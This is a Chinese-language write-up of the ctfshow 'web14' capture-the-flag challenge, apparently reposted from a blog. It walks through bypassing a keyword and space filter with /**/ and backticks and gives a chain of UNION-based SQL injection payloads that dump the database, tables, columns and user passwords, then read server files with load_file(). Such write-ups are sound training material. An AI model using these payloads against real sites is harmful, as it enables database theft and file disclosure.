ctfshow-web14

web 14

打开环境,界面有一段代码

 1  <?php
 2 include("secret.php");
 3 
 4 if(isset($_GET['c'])){
 5     $c = intval($_GET['c']); //获取整数值
 6     sleep($c);//延迟执行当前脚本若干秒。
 7     switch ($c) {
 8         case 1:
 9             echo '$url';
10             break;
11         case 2:
12             echo '@A@';
13             break;
14         case 555555:
15             echo $url;
16         case 44444:
17             echo "@A@";
18             break;
19         case 3333:
20             echo $url;
21             break;
22         case 222:
23             echo '@A@';
24             break;
25         case 222:
26             echo '@A@';
27             break;
28         case 3333:
29             echo $url;
30             break;
31         case 44444:
32             echo '@A@';
33         case 555555:
34             echo $url;
35             break;
36         case 3:
37             echo '@A@';
38         case 6000000:
39             echo "$url";
40         case 1:
41             echo '@A@';
42             break;
43     }
44 }
45 
46 highlight_file(__FILE__); 

这段代码很简单,需要进行传参,然后我分别传了1,2,3。当传3的时候会出现一个提示

pyload: ?c=3 

 那就随手就访问一下吧。

 有一个提示框,进去之后是这样的界面

 遇见这种界面了,恐怕又是sql注入了。此题貌似过滤了空格。那我们看一下源码吧。

1 <?php
2     if(preg_match('/information_schema.tables|information_schema.columns|linestring| |polygon/is', $_GET['query'])){
3         die('@A@');
4     }
5 ?>

我们发现这样一段代码,看来是对一些注入的关键字进行了过滤,其中还包括空格。

那我们还用/**/来进行空格绕过。对于那些过滤了的关键字我们使用反引号进行绕过。

那我们开始注入,在输入框里输入 1/**/order/**/by/**/1# 才会不报错,只有一个回显位置。

然后爆出数据库名: -1/**/union/**/select/**/database()# ,爆出库名web

爆出表名: -1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'# ,表名为content

然后爆出字段名: -1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'# ,爆出的字段有:id,username,password

查看数据: -1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content# 这里提示你:1adminflag is not here!,2gtf1ywow,you can really dance,3Wowtell you a secret,secret has a secret...

秘密,该不会flag还是在secret里吧。那我们使用load_file()函数访问一下。

 -1/**/union/**/select/**/load_file('/var/www/html/secret.php') ,但是没有显示啊,不过源代码里多出了这样一句代码

1 alert('<!-- ReadMe -->
2 <?php
3 $url = 'here_1s_your_f1ag.php';
4 $file = '/tmp/gtf1y';
5 if(trim(@file_get_contents($file)) === 'ctf.show'){
6     echo file_get_contents('/real_flag_is_here');
7 }')

那我们再获取一下/real_flag_is_here里的数据

 感谢yu22x师傅提供的思路。

原文地址:https://www.cnblogs.com/awsole/p/14388624.html